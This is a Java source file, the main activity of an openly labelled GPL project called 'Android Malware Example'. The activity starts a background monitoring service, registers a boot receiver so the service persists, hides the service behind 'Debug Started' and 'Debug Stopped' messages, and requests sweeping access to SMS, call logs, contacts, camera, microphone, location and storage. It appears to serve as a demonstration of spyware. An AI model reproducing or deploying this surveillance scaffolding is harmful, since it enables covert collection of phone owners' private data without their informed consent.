/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.Manifest;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.ComponentName;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
import android.os.StrictMode;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;



import com.burke_consulting.malwareexample.R;

import java.util.ArrayList;
import java.util.List;

public class MainActivity extends Activity {


    Button BGOn;
    Button BGOff;
    Context context;
    ConfigParams configParams;
    public static MainActivity mainactivity = null;
    Thread thread;
    ComponentName _comp;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        context = this;

        mainactivity = this;
        StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
        StrictMode.setThreadPolicy(policy);

        configParams = new ConfigParams(context);
        BGOn = (Button) findViewById(R.id.buttonOn);
        BGOff = (Button) findViewById(R.id.buttonOff);
        final Intent _bgmain = new Intent(MainActivity.this,BGMonitor.class);

        final BGReceiver _bgreceiver = new BGReceiver();
        final IntentFilter filter = new IntentFilter();
        //filter.addAction("android.provider.Telephony.SMS_RECEIVED");
        filter.addAction("android.intent.action.BOOT_COMPLETED");

        BGOn.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View arg0) {
                Toast.makeText(context, "Debug Started",Toast.LENGTH_LONG).show();

                //		Log.d("BGMonitorActivity", "On Button Pressed");
                registerReceiver(_bgreceiver, filter);
              //     ComponentName _comp = startService(new Intent(MainActivity.this,BGMonitor.class));
//                Log.d("BGMonitorActivity", _comp.flattenToString());
//                AsyncService _as = new AsyncService();
//                AsyncParams _asp = new AsyncParams();
//                _asp._context = myContext;
//                _asp._activity = MainActivity.this;
//                _as.doInBackground(_asp);

                 thread = new Thread(new Runnable()
                {
                    @Override
                    public void run()
                    {
                        try
                        {

                             _comp = startService(_bgmain);
                        }
                        catch (Exception e)
                        {
                            e.printStackTrace();
                        }
                    }
                });

                thread.start();

            }

        });
        BGOff.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View arg0) {
                //			Log.d("BGMonitorActivity", "Off Button Pressed");
                Toast.makeText(context, "Debug Stopped",Toast.LENGTH_LONG).show();
//				 boolean _bool = stopService(new Intent(MainActivity.this,BGMonitor.class));
//				 Log.d("BGMonitorActivity", "Service Stopped:"+_bool);
                try{
                    unregisterReceiver(_bgreceiver);
                    stopService(_bgmain);
                    thread.interrupt();

                } catch (Exception ex){


                }


            }

        });


        checkAllPermissions();


    }
    private boolean addPermission(List<String> permissionsList, String permission) {
        if (checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED) {
            permissionsList.add(permission);
            // Check for Rationale Option
            if (!shouldShowRequestPermissionRationale(permission))
                return false;
        }
        return true;
    }
    public void checkAllPermissions() {

        List<String> permissionsNeeded = new ArrayList<String>();

        final List<String> permissionsList = new ArrayList<String>();
        if (!addPermission(permissionsList, Manifest.permission.ACCESS_FINE_LOCATION))
            permissionsNeeded.add("GPS");
        if (!addPermission(permissionsList, Manifest.permission.READ_CONTACTS))
            permissionsNeeded.add("Contacts/Accounts");
        if (!addPermission(permissionsList, Manifest.permission.CAMERA))
            permissionsNeeded.add("Camera");
        if (!addPermission(permissionsList, Manifest.permission.ACCESS_FINE_LOCATION))
            permissionsNeeded.add("Location");
        if (!addPermission(permissionsList, Manifest.permission.RECORD_AUDIO))
            permissionsNeeded.add("Audio");
        if (!addPermission(permissionsList, Manifest.permission.READ_PHONE_STATE))
            permissionsNeeded.add("Phone State");
        if (!addPermission(permissionsList, Manifest.permission.READ_CALL_LOG))
            permissionsNeeded.add("Phone Logs");
        if (!addPermission(permissionsList, Manifest.permission.READ_SMS))
            permissionsNeeded.add("SMS");
        if (!addPermission(permissionsList, Manifest.permission.READ_EXTERNAL_STORAGE))
            permissionsNeeded.add("Storage");


        if (permissionsList.size() > 0) {
            if (permissionsNeeded.size() > 0) {
                // Need Rationale
                String message = "You need to grant access to " + permissionsNeeded.get(0);
                for (int i = 1; i < permissionsNeeded.size(); i++)
                    message = message + ", " + permissionsNeeded.get(i);
                     showMessageOKCancel(message,
                        new DialogInterface.OnClickListener() {
                            @Override
                            public void onClick(DialogInterface dialog, int which) {
                                requestPermissions(permissionsList.toArray(new String[permissionsList.size()]),
                                       configParams.PERMISSIONS_REQUEST_ALL);
                            }
                        });
                return;
            }
            requestPermissions(permissionsList.toArray(new String[permissionsList.size()]),
                    configParams.PERMISSIONS_REQUEST_ALL);
            return;
        }


        //boolean X = checkPermissions(Manifest.permission.READ_SMS,configParams.REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS);
    }

    private void showMessageOKCancel(String message, DialogInterface.OnClickListener okListener) {
        new AlertDialog.Builder(MainActivity.this)
                .setMessage(message)
                .setPositiveButton("OK", okListener)
                .setNegativeButton("Cancel", null)
                .create()
                .show();
    }

    public boolean checkPermissions(final String permission, final int code) {

        Log.d(configParams.PROGID,"Checking Permissions Granted:"+permission);


        if (ContextCompat.checkSelfPermission(context,
                permission)
                != PackageManager.PERMISSION_GRANTED) {

            Log.d(configParams.PROGID,"No Permissions");
            // Should we show an explanation?
            if (ActivityCompat.shouldShowRequestPermissionRationale(this,
                    permission)) {

                Log.d(configParams.PROGID,"Requesting");
                showMessageOKCancel("You need to allow access to "+permission,
                        new DialogInterface.OnClickListener() {
                            @Override
                            public void onClick(DialogInterface dialog, int which) {
                                requestPermissions(new String[] {permission},
                                        code);
                            }
                        });



               return false;

            } else {

                // No explanation needed, we can request the permission.
                Log.d(configParams.PROGID,"No Need to Request");
                ActivityCompat.requestPermissions(this,
                        new String[]{permission},
                        code);

                return true;
            }
        } else {
            return true;
        }
    }


    @Override
    public void onRequestPermissionsResult(int requestCode,String permissions[], int[] grantResults) {

        if (requestCode == configParams.PERMISSIONS_REQUEST_READ_SMS) {

                // If request is cancelled, the result arrays are empty.
                if (grantResults.length > 0
                        && grantResults[0] == PackageManager.PERMISSION_GRANTED) {

                    // permission was granted, yay! Do the
                    // contacts-related task you need to do.

                } else {

                    // permission denied, boo! Disable the
                    // functionality that depends on this permission.
                }
                return;


            // other 'case' lines to check for other
            // permissions this app might request
        }
    }

    @Override
    public void onResume()
    {
        super.onResume();
        mainactivity = this;
    }

    @Override
    public void onPause()
    {
        super.onPause();
        mainactivity = null;
    }

}
